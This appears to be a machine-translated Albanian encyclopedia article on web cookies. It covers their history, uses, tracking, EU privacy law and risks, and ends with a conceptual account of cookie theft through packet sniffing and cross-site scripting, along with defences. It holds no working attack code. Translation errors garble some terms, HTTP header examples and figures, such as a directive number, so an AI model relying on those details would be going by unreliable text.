Cookie në internet: çfarë është? Përkufizimi, Origjina, Llojet dhe Privatësia

Un cookie ose web cookie (Ose biskotë, shkurtuar si dëshmitar në Quebec) përkufizohet nga protokolli i komunikimit HTTP si një sekuencë informacioni të dërguar nga një server HTTP tek një klient HTTP, të cilin ky i fundit ia kthen çdo herë që i njëjti server HTTP kërkohet në kushte të caktuara.

Cookie-ja është ekuivalente me a skedar i vogël teksti i ruajtur në terminal të përdoruesit të internetit. Duke ekzistuar për më shumë se 20 vjet, ato lejojnë zhvilluesit e faqeve të internetit të ruajnë të dhënat e përdoruesve në mënyrë që të lehtësojnë navigimin e tyre dhe të lejojnë funksione të caktuara. Cookies kanë qenë gjithmonë pak a shumë të diskutueshme sepse ato përmbajnë informacione personale të mbetura që potencialisht mund të shfrytëzohen nga palët e treta.

Ai dërgohet si një titull HTTP nga serveri i uebit në shfletuesin e uebit i cili e kthen atë të pandryshuar sa herë që hyn në server. Një cookie mund të përdoret për të një vërtetim, një seancë (mirëmbajtje shtetërore), dhe për ruaj informacione specifike rreth përdoruesit, të tilla si preferencat e sajtit ose përmbajtja e një karroce elektronike blerjeje. Termi cookie rrjedh nga biskota magjike, një koncept i njohur në informatikë UNIX, i cili frymëzoi idenë dhe emrin e cookies të shfletuesit. Ekzistojnë disa alternativa ndaj cookies, secila me përdorimet, avantazhet dhe disavantazhet e veta.

Duke qenë skedarë teksti të thjeshtë, cookies nuk janë të ekzekutueshme. Ata nuk janë të as spyware as viruse, megjithëse skedarët e skedarëve nga disa sajte zbulohen nga shumë softuer antivirus sepse ato lejojnë përdoruesit të gjurmohen kur vizitojnë sajte të shumta. 

Shumica e shfletuesve modernë i lejojnë përdoruesit të vendosni nëse do të pranoni ose refuzoni cookies. Përdoruesit gjithashtu mund zgjidhni se sa kohë ruhen cookies. Megjithatë, refuzimi i plotë i cookies i bën disa sajte të papërdorshme. Për shembull, ruani karrocat e blerjeve ose faqet që kërkojnë hyrje duke përdorur kredencialet (emri i përdoruesit dhe fjalëkalimi).

Historik

Banjot biskotë rrjedh nga termi anglisht biskota magjike, e cila është një paketë të dhënash që një program merr dhe i kthen të pandryshuara. Cookies ishin përdorur tashmë në IT kur Lou Montulli kishte idenë për t'i përdorur ato në komunikimet në ueb në qershor 1994. Në atë kohë, ai ishte i punësuar nga Netscape Communications, e cila kishte zhvilluar një aplikacion e-commerce për një klient. Cookies i dhanë një zgjidhje problemit të besueshmërisë së zbatimit të karrocave virtuale të një dyqani.

John Giannandrea dhe Lou Montulli shkruan specifikimin e parë të biskotave të Netscape në të njëjtin vit. Versioni 0.9 beta i Mosaic Netscape, i lëshuar më 13 tetor 1994, i integruar teknologjia e biskotave (shih postimin). Përdorimi i parë (jo eksperimental) i cookies ishte për të përcaktuar nëse vizitorët e faqes së internetit të Netscape e kishin vizituar sitin më parë. Montulli paraqiti një aplikim për patentë për teknologjinë e cookie-ve në vitin 1995 dhe patenta amerikane 5774670 u dha. dhënë në vitin 1998.

Pasi u implementuan në Netscape 0.9 beta në 1994, cookies u integruan në Internet Explorer 2, të lëshuar në tetor 1995.

Prezantimi i cookies ende nuk është bërë i njohur gjerësisht për publikun. Në veçanti, cookies u pranuan si parazgjedhje në cilësimet e shfletuesit dhe përdoruesit nuk ishin të informuar për praninë e tyre. Disa njerëz ishin të vetëdijshëm për ekzistencën e cookies rreth tremujorit të parë të vitit 1995, por publiku i gjerë e pranoi ekzistencën e tyre vetëm pasi Financial Times publikoi një artikull më 12 shkurt 1996. Në të njëjtin vit, cookie-t morën shumë vëmendje të medias për shkak të ndërhyrjeve të mundshme në privatësi. Tema e cookies u diskutua në dy konsultime të Komisionit Federal të Tregtisë Amerikane në 1996 dhe 1997.

Zhvillimi i specifikimit zyrtar të kukive ishte tashmë duke u zhvilluar. Diskutimet e para të specifikimit zyrtar u zhvilluan në prill 1995 në listën e postimeve www-talk. U formua një grup i veçantë pune i IETF. Dy propozime alternative për futjen e shtetit në transaksionet HTTP u propozuan nga Brian Behlendorf dhe David Kristol respektivisht, por grupi, i udhëhequr nga vetë Kristol, vendosi të përdorte specifikimet e Netscape si pikënisje. Në shkurt 1996, grupi i punës përcaktoi se skedarët e skedarëve të palëve të treta ishin një kërcënim i rëndësishëm për privatësinë. Specifikimi i prodhuar nga grupi u publikua përfundimisht si RFC2109.

Nga fundi i vitit 2014, ne shohim një baner për cookie-t në shumë sajte. Ekziston të paktën një shtesë e shfletuesit që lejon baneri nuk shfaqet.

Llojet e Cookies dhe Përdorimet

Menaxhimi i sesionit

Cookies mund të përdoren për të ruajtur të dhënat e përdoruesit gjatë lundrimit, por edhe gjatë vizitave të shumta. Cookies u prezantuan për të ofruar një mjet për zbatimin e karrocave elektronike të blerjeve, një pajisje virtuale në të cilën përdoruesi mund të grumbullojë artikujt që dëshiron të blejë gjatë shfletimit të sajtit.

Këto ditë, aplikacionet si karrocat e blerjeve ruajnë listën e artikujve në një bazë të dhënash në një server, gjë që preferohet; sesa t'i ruani ato në vetë cookie. Serveri i uebit dërgon një cookie që përmban një ID unike të sesionit. Më pas, shfletuesi i uebit e kthen këtë ID të sesionit në çdo kërkesë të mëpasshme dhe artikujt në shportë ruhen dhe shoqërohen me të njëjtën ID të sesionit unik.

Përdorimi i shpeshtë i cookies është i dobishëm për hyrjen në një sajt duke përdorur kredencialet. Shkurtimisht, serveri i uebit dërgon fillimisht një cookie që përmban një ID unike të sesionit. Pastaj përdoruesit japin kredencialet e tyre (zakonisht një emër përdoruesi dhe fjalëkalim). Aplikacioni ueb më pas vërteton sesionin dhe lejon përdoruesin të aksesojë shërbimin.

personalizimit

Cookies mund të përdoren për të kujtuar informacionin rreth përdoruesit të një faqeje, në mënyrë që t'i tregohet atij përmbajtje të përshtatshme në të ardhmen. Për shembull, një server ueb mund të dërgojë një cookie që përmban emrin e fundit të përdoruesit të përdorur për t'u identifikuar në atë faqe interneti, në mënyrë që emri i përdoruesit të mund të parapopullohet në vizitat e ardhshme.

Shumë faqe interneti përdorin cookie për personalizim bazuar në preferencat e përdoruesve. Përdoruesit zgjedhin preferencat e tyre në një formë dhe i dërgojnë ato në server. Serveri kodon preferencat në një cookie dhe e dërgon atë në shfletues. Më pas, sa herë që përdoruesi hyn në një faqe të kësaj faqeje, shfletuesi kthen cookie-n dhe për rrjedhojë listën e preferencave; serveri më pas mund ta personalizojë faqen sipas preferencave të përdoruesit. Për shembull, faqja e internetit Wikipedia u lejon përdoruesve të saj të zgjedhin lëkurën e faqes që preferojnë. Motori i kërkimit Google i lejon përdoruesit e tij (edhe nëse nuk janë të regjistruar) të zgjedhin numrin e rezultateve që duan të shohin në secilën faqe të rezultateve.

Ndjekja

Cookies gjurmuese përdoren për të gjurmuar zakonet e shfletimit të përdoruesve të internetit. Kjo mund të bëhet gjithashtu pjesërisht duke përdorur adresën IP të kompjuterit duke bërë një kërkesë për një faqe ose duke përdorur titullin HTTP 'referues' që klienti dërgon me çdo kërkesë, por cookies lejojnë saktësi më të madhe. Kjo mund të bëhet si në shembullin e mëposhtëm:

1. Nëse përdoruesi thërret një faqe në një sajt dhe kërkesa nuk përmban një cookie, serveri supozon se kjo është faqja e parë e vizituar nga përdoruesi. Serveri më pas krijon një varg të rastësishëm dhe e dërgon atë në shfletues së bashku me faqen e kërkuar.
2. Nga ky moment, cookie do të dërgohet automatikisht nga shfletuesi sa herë që thirret një faqe e re e sajtit. Serveri do ta dërgojë faqen si zakonisht, por gjithashtu do të regjistrojë URL-në e faqes së thirrur, datën, orën e kërkesës dhe cookie-t në një skedar log.

Duke parë skedarin e regjistrit, atëherë është e mundur të shihet se cilat faqe ka vizituar përdoruesi dhe në çfarë rendi. Për shembull, nëse skedari përmban disa kërkesa të bëra duke përdorur skedarin id=abc, kjo mund të vërtetojë se të gjitha këto kërkesa vijnë nga i njëjti përdorues. URL-ja e kërkuar, data dhe ora e lidhur me kërkesat lejojnë që shfletimi i përdoruesit të gjurmohet.

Kukit e palëve të treta dhe fenerët e uebit, të shpjeguara më poshtë, mundësojnë gjithashtu gjurmimin nëpër sajte të ndryshme. Gjurmimi i një faqeje të vetme përdoret përgjithësisht për qëllime statistikore. Në të kundërt, gjurmimi nëpër faqe të ndryshme duke përdorur skedarë të palëve të treta zakonisht përdoret nga kompanitë reklamuese për të prodhuar profile anonime përdoruesish (të cilat përdoren më pas për të përcaktuar se cilat reklama duhet t'i shfaqen përdoruesit si dhe për t'i dërguar atij emaile që korrespondojnë me këto reklama - SPAM ).

Cookie-t e gjurmimit janë një rrezik i cenimit të privatësisë së përdoruesit, por ato mund të fshihen lehtësisht. Shumica e shfletuesve modern përfshijnë një opsion për të fshirë automatikisht cookie-t e vazhdueshme kur mbyllni aplikacionin.

Kuki të palëve të treta

Imazhet dhe objektet e tjera të përfshira në një faqe interneti mund të qëndrojnë në serverë të ndryshëm nga ai që pret faqen. Për të shfaqur faqen, shfletuesi shkarkon të gjitha këto objekte. Shumica e faqeve të internetit përmbajnë informacion nga burime të ndryshme. Për shembull, nëse shkruani www.example.com në shfletuesin tuaj, shpesh do të ketë objekte ose reklama në një pjesë të faqes që vijnë nga burime të ndryshme, p.sh. nga një domen tjetër nga www. .example.com. Kukit e palës së parë janë kuki që vendosen nga domeni i listuar në shiritin e adresave të shfletuesit. Kukit e palëve të treta vendosen nga një prej objekteve të faqes që vjen nga një domen tjetër.

Si parazgjedhje, shfletuesit si Mozilla Firefox, Microsoft Internet Explorer dhe Opera pranojnë kuki të palëve të treta, por përdoruesit mund të ndryshojnë cilësimet në opsionet e shfletuesit për t'i bllokuar ato. Nuk ka asnjë rrezik sigurie të natyrshme në cookie-t e palëve të treta që mundësojnë funksionalitetin e uebit, megjithatë ato përdoren gjithashtu për të gjurmuar përdoruesit. nga vendi në vend.

Mjete të tilla si Ghostery të disponueshme për të gjithë shfletuesit duke përfshirë Google Chrome mund të bllokojnë shkëmbimet midis palëve të treta.

Zbatimi

Cookies janë pjesë të vogla të të dhënave të dërguara nga serveri në internet në shfletues. Shfletuesi i kthen ato të pandryshuara në server, duke futur gjendjen (memorien e ngjarjeve të kaluara) në transaksionin HTTP pa shtetësi. Pa cookie, çdo rikthim i një faqeje interneti ose një komponenti i një faqe interneti është një ngjarje e izoluar, e pavarur nga kërkesat e tjera të bëra në të njëjtin sajt. Përveç mundësisë për t'u vendosur nga serveri i uebit, cookie-t mund të vendosen edhe nga gjuhët e skriptimit si JavaScript, nëse mbështeten dhe autorizohen nga shfletuesi.

Specifikimi zyrtar i cookie-ve sugjeron që shfletuesit duhet të jenë në gjendje të ruajnë dhe të ridërgojnë një numër minimal skedarësh. Në mënyrë të veçantë, një shfletues duhet të jetë në gjendje të ruajë të paktën 300 cookie nga katër kilobajt secila dhe të paktën 20 cookie për një server ose domen të vetëm.

Sipas seksionit 3.1 të RFC2965, emrat e kukive janë të pandjeshme ndaj shkronjave të vogla.

Një cookie mund të specifikojë datën e skadimit të saj, në të cilin rast cookie do të fshihet në këtë datë. Nëse cookie nuk specifikon një datë skadimi, cookie-ja fshihet sapo përdoruesi të largohet nga shfletuesi i tij. Prandaj, specifikimi i datës së skadimit është një mënyrë për të bërë që cookie-t të mbijetojnë përmes seancave të shumta. Për këtë arsye, cookies me një datë skadimi thuhet se janë i vazhdueshëm. Një shembull aplikimi: një sajt me pakicë mund të përdorë skedarë të përhershëm për të regjistruar artikujt që përdoruesit kanë vendosur në shportën e tyre të blerjeve (në realitet, cookie-t mund t'i referohen një hyrjeje të ruajtur në një bazë të dhënash në sitin e shitjes dhe jo në kompjuterin tuaj) . Në këtë mënyrë, nëse përdoruesit largohen nga shfletuesi i tyre pa bërë një blerje dhe kthehen tek ai më vonë, ata do të jenë në gjendje të gjejnë sërish artikujt në shportë. Nëse këto cookie nuk japin një datë skadimi, ato do të skadojnë kur shfletuesi të mbyllet dhe informacioni mbi përmbajtjen e shportës do të humbasë.

Kukit mund të kufizohen në shtrirje në një domen, nëndomain ose shteg specifik në serverin që i ka krijuar ato.

Krijimi i një cookie

Transferimi i ueb faqeve bëhet duke përdorur HyperText Transfer Protocol (HTTP). Duke injoruar cookies, shfletuesit thërrasin një faqe nga serverët e uebit duke u dërguar në përgjithësi një tekst të shkurtër të quajtur Kërkesa HTTP. Për shembull, për të hyrë në faqen www.example.org/index.html, shfletuesit lidhen me serverin www.example.org dhe dërgojnë një kërkesë që duket si kjo:

	GET /index.html HTTP/1.1Host: www.example.org
lundërtar	→	serveur

Serveri përgjigjet duke dërguar faqen e kërkuar, të paraprirë nga një tekst i ngjashëm, duke thirrur të gjithë Përgjigja HTTP. Kjo paketë mund të përmbajë rreshta që udhëzojnë shfletuesin të ruajë cookie-t:

	HTTP/1.1 200 OK Lloji i përmbajtjes: tekst/htmlSet-Cookie: emri=vlera (faqe HTML)
lundërtar	←	serveur

Serveri dërgon vetëm linjën Set-Cookie, nëse serveri dëshiron që shfletuesi të ruajë një cookie. Set-Cookie është një kërkesë që shfletuesi të ruajë vargun name=value dhe ta kthejë atë në të gjitha kërkesat e ardhshme në server. Nëse shfletuesi mbështet cookie-t dhe kukit janë aktivizuar në opsionet e shfletuesit, cookie-t do të përfshihen në të gjitha kërkesat e mëpasshme të bëra në të njëjtin server. Për shembull, shfletuesi e quan faqen www.example.org/news.html duke dërguar kërkesën e mëposhtme te serveri www.example.org:

	GET /news.html HTTP/1.1Host: www.example.orgCookie: name=valuePrano: */*
lundërtar	→	serveur

Kjo është një kërkesë për një faqe tjetër nga i njëjti server dhe ndryshon nga e para e mësipërme sepse përmban një varg që serveri e dërgoi më parë te shfletuesi. Falë këtij mjeti, serveri e di që kjo kërkesë është e lidhur me atë të mëparshme. Serveri përgjigjet duke dërguar faqen e thirrur dhe gjithashtu duke shtuar cookie të tjera në të.

Vlera e cookie-t mund të ndryshohet nga serveri duke dërguar një linjë të re Set-Cookie: name=new_value në përgjigje të faqes së thirrur. Më pas shfletuesi zëvendëson vlerën e vjetër me atë të re.

Linja Set-Cookie krijohet zakonisht nga një program CGI ose një gjuhë tjetër skriptimi, jo nga serveri HTTP. Serveri HTTP (shembull: Apache) do të transmetojë vetëm rezultatin e programit (një dokument i paraprirë nga titulli që përmban cookies) në shfletues.

Cookies mund të vendosen gjithashtu nga JavaScript ose gjuhë të tjera të ngjashme që funksionojnë në shfletues, d.m.th. në anën e klientit dhe jo nga ana e serverit. Në JavaScript, objekti document.cookie përdoret për këtë qëllim. Për shembull, deklarata document.cookie = "temperature=20" krijon një cookie të quajtur "temperature" dhe me një vlerë 20.

Atributet e një cookie

Përveç çiftit emër/vlerë, një cookie mund të përmbajë gjithashtu një datë skadimi, një shteg, një emër domaini dhe llojin e lidhjes së synuar, d.m.th., normale ose të koduar. RFC 2965 përcakton gjithashtu që skedarët e skedarëve duhet të kenë një numër versioni të detyrueshëm, por kjo përgjithësisht hiqet. Këto pjesë të të dhënave ndjekin çiftin name=new_value dhe ndahen me pikëpresje. Për shembull, një cookie mund të krijohet nga serveri duke dërguar një linjë Set-Cookie: name=new_value; skadon=data; shteg=/; domain=.example.org.

Skadimi i një cookie

Cookies skadojnë dhe më pas nuk dërgohen nga shfletuesi te serveri në situatat e mëposhtme:

• Kur shfletuesi është i mbyllur, nëse cookie nuk është e qëndrueshme.
• Kur të ketë kaluar data e skadimit të cookie-t.
• Kur data e skadimit të cookie-t ndryshohet (nga serveri ose skripti) në një datë në të kaluarën.
• Kur shfletuesi fshin cookie-n me kërkesë të përdoruesit.

Situata e tretë lejon serverët ose skriptet të fshijnë në mënyrë të qartë një cookie. Vini re se është e mundur me shfletuesin e internetit të Google Chrome të dini datën e skadimit të një cookie të veçantë duke hyrë në cilësimet e përmbajtjes. Një cookie e ruajtur në një kompjuter mund të mbetet shumë mirë atje për disa dekada nëse nuk ndërmerret asnjë procedurë për ta fshirë atë.

Stereotipet

Që nga prezantimi i tyre në internet, shumë ide rreth cookies kanë qarkulluar në internet dhe në media. Në vitin 1998, CIAC, një ekip i monitorimit të incidenteve kompjuterike të Departamentit të Energjisë së Shteteve të Bashkuara, përcaktoi se dobësitë e sigurisë së cookie-ve ishin "në thelb joekzistente" dhe shpjegoi se "informacionet mbi origjinën e vizitave tuaja dhe detajet e faqeve të internetit që keni vizituar ekzistojnë tashmë në skedarët e regjistrit të serverëve të internetit”. Në vitin 2005, Jupiter Research publikoi rezultatet e një studimi, në të cilin një përqindje e konsiderueshme e të anketuarve morën parasysh deklaratat e mëposhtme:

• Biskotat janë si virus, ato infektojnë hard disqet e përdoruesve.
• Cookies gjenerojnë pop-up.
• Cookies përdoren për të dërguar bllokuara.
• Cookies përdoren vetëm për reklamim.

Cookies nuk mund të fshijnë ose lexojnë informacione nga kompjuteri i përdoruesit. Megjithatë, cookies bëjnë të mundur zbulimin e faqeve të internetit të vizituara nga një përdorues në një sajt të caktuar ose grup sajtesh. Ky informacion mund të mblidhet në një profil përdoruesi që mund të përdoret ose rishitet palëve të treta, gjë që mund të paraqesë probleme serioze të privatësisë. Disa profile janë anonime, në kuptimin që nuk përmbajnë informacion personal, por edhe profile të tilla mund të jenë të diskutueshme.

Sipas të njëjtit studim, një përqindje e madhe e përdoruesve të internetit nuk dinë të fshijnë cookies. Një nga arsyet pse njerëzit nuk u besojnë cookie-ve është se disa sajte kanë abuzuar me aspektin personal të identifikimit të cookies dhe e kanë ndarë këtë informacion me burime të tjera. Një përqindje e madhe e reklamave të synuara dhe e-mail-eve të pakërkuara, të konsideruara si spam, vijnë nga informacioni i mbledhur nga gjurmimi i cookies.

Cilësimet e shfletuesit

Shumica e shfletuesve mbështesin cookies dhe i lejojnë përdoruesit t'i çaktivizojë ato. Opsionet më të zakonshme janë:

• Aktivizo ose çaktivizo plotësisht cookies, në mënyrë që ato të pranohen ose bllokohen vazhdimisht.
• Lejo përdoruesin të shohë skedarët e skedarëve aktivë në një faqe të caktuar, duke futur javascript: alert(document.cookie) në shiritin e adresave të shfletuesit. Disa shfletues përfshijnë një menaxher cookie për përdoruesin, i cili mund të shikojë dhe fshijë në mënyrë selektive skedarët e ruajtur aktualisht nga shfletuesi.

Shumica e shfletuesve gjithashtu lejojnë fshirjen e plotë të të dhënave personale që përfshijnë cookie-t. Ekzistojnë gjithashtu module shtesë për të kontrolluar lejet e cookie-ve.

Privatësia dhe biskotat e palëve të treta

Në këtë shembull fiktiv, një kompani reklamuese ka vendosur banderola në dy faqe interneti. Duke vendosur banderolat në serverët e saj dhe duke përdorur skedarë të palëve të treta, kompania reklamuese është në gjendje të gjurmojë navigimin e përdoruesit nëpër këto dy faqe.

Cookies kanë implikime të rëndësishme për privatësinë dhe anonimitetin e përdoruesve të internetit. Edhe pse kukit dërgohen vetëm te serveri që i vendos ato ose te një server që i përket të njëjtit domen të Internetit, megjithatë një faqe ueb mund të përmbajë imazhe ose përbërës të tjerë të ruajtur në serverë që i përkasin domeneve të tjera. Kukit që vendosen gjatë rikuperimit të këtyre komponentëve të jashtëm quhen cookie të palëve të treta. Kjo përfshin kukit nga dritaret kërcyese të padëshiruara.

Kompanitë e reklamave përdorin cookie-t e palëve të treta për të gjurmuar përdoruesit në faqet e ndryshme që vizitojnë. Në veçanti, një kompani reklamuese mund të gjurmojë një përdorues në të gjitha faqet ku ka vendosur imazhe reklamuese ose një piksel gjurmues. Njohja e faqeve të vizituara nga përdoruesi i lejon kompanisë reklamuese të synojë preferencat reklamuese të përdoruesit.

Aftësia për të ndërtuar një profil përdoruesi konsiderohet nga disa si një pushtim i privatësisë, veçanërisht kur gjurmimi bëhet nëpër domene të ndryshme duke përdorur kuki të palëve të treta. Për këtë arsye, disa vende kanë legjislacion për cookie-t.

Qeveria e Shteteve të Bashkuara zbatoi rregulla strikte për vendosjen e cookies në vitin 2000, pasi u zbulua se Zyra e Politikave të Drogës në Shtëpinë e Bardhë po përdorte skedarë për të gjurmuar kompjuterët e përdoruesve që shikonin reklamat e drogës në internet. Në vitin 2002, aktivisti i privatësisë Daniel Brandt zbuloi se CIA linte skedarë të përhershëm në kompjuterët që kishin vizituar faqet e saj të internetit. Pasi u informua për këtë shkelje, CIA deklaroi se këto cookie nuk ishin dërguar qëllimisht dhe pushoi së vendosuri ato. Më 25 dhjetor 2005, Brandt zbuloi se Agjencia e Sigurisë Kombëtare (NSA) kishte lënë dy cookie të vazhdueshme në kompjuterët e vizitorëve për shkak të një përditësimi të softuerit. Pasi u njoftua, NSA çaktivizoi menjëherë cookie-t.

Në Mbretërinë e Bashkuar, Ligji i biskotave “, e hyrë në fuqi më 25 maj 2012, detyron faqet të deklarojnë synimet e tyre, duke i lejuar përdoruesit të zgjedhin nëse duan të lënë gjurmë të kalimit të tyre në internet. Kështu ata mund të mbrohen nga synimi i reklamave. Megjithatë, sipas Guardian, pëlqimi i përdoruesve të internetit nuk është domosdoshmërisht i qartë; janë bërë ndryshime në kushtet e pëlqimit të përdoruesit, duke e bërë atë nënkuptohet kështu.

Direktiva 2002/58 për privatësinë

Direktiva 202/58 për privatësinë dhe komunikimet elektronike, përmban rregulla për përdorimin e cookies. Në veçanti, neni 5, paragrafi 3 i kësaj direktive kërkon që ruajtja e të dhënave (siç janë cookies) në kompjuterin e përdoruesit mund të bëhet vetëm nëse:

• përdoruesi informohet se si përdoren të dhënat;
• përdoruesit i jepet mundësia për të refuzuar këtë operacion të ruajtjes. Por, në këtë nen thuhet gjithashtu se ruajtja e të dhënave për arsye teknike përjashtohet nga ky ligj.

Për shkak se do të zbatohej nga tetori i vitit 2003, direktiva u zbatua në mënyrë shumë të papërsosur, sipas një raporti të dhjetorit 2004, i cili gjithashtu vuri në dukje se disa shtete anëtare (Sllovakia, Letonia, Greqia, Belgjika dhe Luksemburgu) nuk e kishin transpozuar ende direktiva në të drejtën e brendshme.

Sipas mendimit të G29 në 2010, kjo direktivë, e cila kushtëzon veçanërisht përdorimin e cookies për qëllime reklamimi të sjelljes, me pëlqimin e qartë të përdoruesit të internetit, mbetet shumë keq zbatuar. Në fakt, shumica e sajteve e bëjnë këtë në një mënyrë që nuk përputhet me direktivën, duke u kufizuar në një "baner" të thjeshtë që informon përdorimin e "cookies" pa dhënë informacion mbi përdorimet, pa bërë dallimin midis "cookies" "teknike". "Gjurmimi" i cookies, as për t'i ofruar një zgjedhje reale përdoruesit që dëshiron të mbajë skedarë teknikë (siç janë skedarët e menaxhimit të karrocave të blerjeve) dhe të refuzojë skedarët e "gjurmimit". Në fakt, shumë sajte nuk funksionojnë siç duhet nëse refuzohen cookies, gjë që nuk përputhet me direktivën 2002/58 ose direktivën 95/46 (Mbrojtja e të dhënave personale).

Direktiva 2009 / 136 / CE

Ky material është përditësuar nga Direktiva 2009/136/EC e datës 25 nëntor 2009, e cila thotë se "ruajtja e informacionit, ose marrja e aksesit në informacionin e ruajtur tashmë, në pajisjet terminale të një pajtimtari ose përdoruesi lejohet vetëm me kusht që pajtimtari ose përdoruesi ka dhënë pëlqimin e tij, pasi ka marrë, në përputhje me Direktivën 95/46/EC, informacion të qartë dhe të plotë, ndërmjet të tjerëve për qëllimet e përpunimit”. Prandaj, direktiva e re forcon detyrimet përpara vendosjes së cookies në kompjuterin e përdoruesit të internetit.

Në konsideratat paraprake të direktivës, ligjvënësi evropian specifikon megjithatë: "Aty ku është teknikisht e mundur dhe efektive, në përputhje me dispozitat përkatëse të Direktivës 95/46/EC, pëlqimi i përdoruesit në lidhje me përpunimin mund të shprehet nëpërmjet përdorimin e cilësimeve të duhura të një shfletuesi ose aplikacioni tjetër”. Por në fakt, asnjë shfletues i deritanishëm nuk bën të mundur ndarjen e skedarëve teknikë thelbësorë nga ato opsionale, të cilat duhet t'i lihen zgjedhjes së përdoruesit.

Kjo direktivë e re u transpozua nga deputetët belgë në korrik 2012. Një studim i vitit 2014 tregon se edhe deputetët luftojnë për të aplikuar kufizimet e direktivës.

P3P

Specifikimi P3P përfshin aftësinë që një server të deklarojë një politikë privatësie, e cila përcakton se çfarë lloj informacioni mbledh dhe për çfarë qëllimi. Këto politika përfshijnë (por nuk kufizohen në) përdorimin e informacionit të mbledhur duke përdorur cookie. Sipas përcaktimeve të P3P, një shfletues mund të pranojë ose refuzojë cookies duke krahasuar politikat e privatësisë me preferencat e përdoruesit ose duke pyetur përdoruesin, duke paraqitur deklaratën e privatësisë së politikës së privatësisë të deklaruar nga serveri.

Shumë shfletues, duke përfshirë Apple Safari dhe Microsoft Internet Explorer versionet 6 dhe 7, mbështesin P3P që i lejon shfletuesit të përcaktojë nëse do të pranojë ruajtjen e kukive të palëve të treta. Shfletuesi Opera i lejon përdoruesit të refuzojnë cookie-t e palëve të treta dhe të krijojnë një profil global dhe specifik sigurie për domenet e Internetit. Versioni 2 i Mozilla Firefox hoqi mbështetjen për P3P, por e rivendosi atë në versionin 3.

Kukit e palëve të treta mund të bllokohen nga shumica e shfletuesve për të rritur privatësinë dhe për të zvogëluar ndjekjen e reklamave, pa ndikuar negativisht në përvojën e përdoruesit në ueb. Shumë agjenci reklamash ofrojnë një mundësi përjashtojeni ndaj reklamave të synuara, duke vendosur një cookie gjenerike në shfletues i cili çaktivizon këtë shënjestrim, por një zgjidhje e tillë nuk është praktikisht efektive, kur respektohet, sepse kjo cookie gjenerike fshihet sapo përdoruesi fshin këto cookie, gjë që anulon opsionin. jashtë vendimit.

Disavantazhet e biskotave

Përveç çështjeve të privatësisë, cookies kanë edhe disa të meta teknike. Në veçanti, ata nuk identifikojnë gjithmonë me saktësi përdoruesit, ata mund të ngadalësojnë performancën e faqes kur janë në numër të madh, ato mund të përdoren për sulme sigurie dhe ato bien ndesh me transferimin e shtetit përfaqësues, stilin arkitektonik të softuerit.

Identifikimi i pasaktë

Nëse në një kompjuter përdoret më shumë se një shfletues, në secilin prej tyre ka gjithmonë një njësi të veçantë ruajtjeje për cookies. Prandaj, cookies nuk identifikojnë një person, por kombinimin e një llogarie përdoruesi, një kompjuteri dhe një shfletuesi uebi. Kështu, çdokush mund t'i përdorë këto llogari, kompjuterë ose shfletues që kanë një gamë të gjerë të cookies. Në mënyrë të ngjashme, cookie-t nuk bëjnë dallime midis përdoruesve të shumtë që ndajnë të njëjtën llogari përdoruesi, kompjuter dhe shfletues, si p.sh. në "internet kafene" ose në çdo vend që ofron akses falas në burimet e kompjuterit.

Por në praktikë kjo deklaratë del të jetë e gabuar në shumicën e rasteve, sepse sot një kompjuter "personal" (ose një smartphone ose tablet, që është më keq) përdoret kryesisht nga një individ i vetëm. përmes volumit të informacionit të mbledhur arrijmë në shënjestrimin e personalizuar edhe nëse personi nuk është “përkatësisht” i identifikuar.

Vjedhja e biskotave

Një cookie mund të vidhet nga një kompjuter tjetër në rrjet.

Gjatë funksionimit normal, cookie-t dërgohen përsëri midis serverit (ose një grupi serverësh në të njëjtin domen) dhe shfletuesit të kompjuterit të përdoruesit. Meqenëse cookie-t mund të përmbajnë informacione të ndjeshme (emri i përdoruesit, një fjalëkalim i përdorur për vërtetim, etj.), vlerat e tyre nuk duhet të jenë të aksesueshme për kompjuterët e tjerë. Vjedhja e biskotave është një akt i përgjimit të cookie-ve nga një palë e tretë e paautorizuar.

Cookies mund të vidhen nëpërmjet një sniffer paketash në një sulm të quajtur sesion rrëmbimi. Trafiku në rrjet mund të përgjohet dhe lexohet nga kompjuterë të ndryshëm nga ata që dërgojnë dhe marrin (veçanërisht në hapësirën publike të pakriptuar Wi-Fi). Ky trafik përfshin kuki të dërguara gjatë seancave duke përdorur protokollin e thjeshtë HTTP. Kur trafiku i rrjetit nuk është i koduar, përdoruesit me qëllim të keq mund të lexojnë komunikimet e përdoruesve të tjerë në rrjet duke përdorur "sniffers paketash".

Ky problem mund të kapërcehet duke enkriptuar lidhjen ndërmjet kompjuterit të përdoruesit dhe serverit duke përdorur protokollin HTTPS. Një server mund të specifikojë një flamur i sigurt gjatë vendosjes së një cookie; shfletuesi do ta dërgojë atë vetëm përmes një linje të sigurt, siç është një lidhje SSL.

Megjithatë, shumë sajte, edhe pse përdorin komunikim të koduar HTTPS për vërtetimin e përdoruesit (d.m.th. faqen e identifikimit), më vonë dërgojnë kukit e sesionit dhe të dhëna të tjera si normalisht, përmes lidhjeve të pakriptuara HTTP për arsye efikasiteti. Kështu, sulmuesit mund të përgjojnë skedarët e skedarëve të përdoruesve të tjerë dhe t'i imitojnë ato në sajtet e duhura ose t'i përdorin ato në sulme me skedarë cookie.

Skriptimi në sajt: një cookie që duhet të shkëmbehet vetëm ndërmjet serverit dhe klientit i dërgohet një pale tjetër të tretë.

Një mënyrë tjetër për të vjedhur cookie-t është të skriptoni sajte dhe t'i bëni vetë shfletuesit të dërgojë skedarë skedarësh te serverët me qëllim të keq që nuk i marrin kurrë ato. Shfletuesit modernë lejojnë ekzekutimin e pjesëve të kërkuara të kodit nga serveri. Nëse cookie-t aksesohen gjatë kohës së ekzekutimit, vlerat e tyre mund të komunikohen në një formë te serverët që nuk duhet t'i qasen. Kriptimi i cookies përpara se të dërgohen përmes rrjetit nuk ndihmon në pengimin e sulmit.

Ky lloj skriptimi brenda sajt zakonisht përdoret nga sulmuesit në faqet që lejojnë përdoruesit të postojnë përmbajtje HTML. Duke integruar një pjesë të kodit të përputhshëm në kontributin HTML, një sulmues mund të marrë cookie nga përdorues të tjerë. Njohuritë për këto cookie mund të përdoren duke u lidhur me të njëjtin sajt duke përdorur cookie-t e vjedhura, duke u njohur kështu si përdoruesi të cilit i janë vjedhur cookies.

Një mënyrë për të parandaluar sulme të tilla është përdorimi i flamurit HttpOnly; është një opsion, i prezantuar që nga versioni 6 i Internet Explorer në PHP që nga versioni 5.2.0 i cili është planifikuar të bëjë cookie-n të paarritshëm për klientin afër skriptit. Sidoqoftë, zhvilluesit e uebit duhet ta marrin parasysh këtë në zhvillimin e faqes së tyre, në mënyrë që të jenë të imunizuar ndaj skriptimit në sajt.

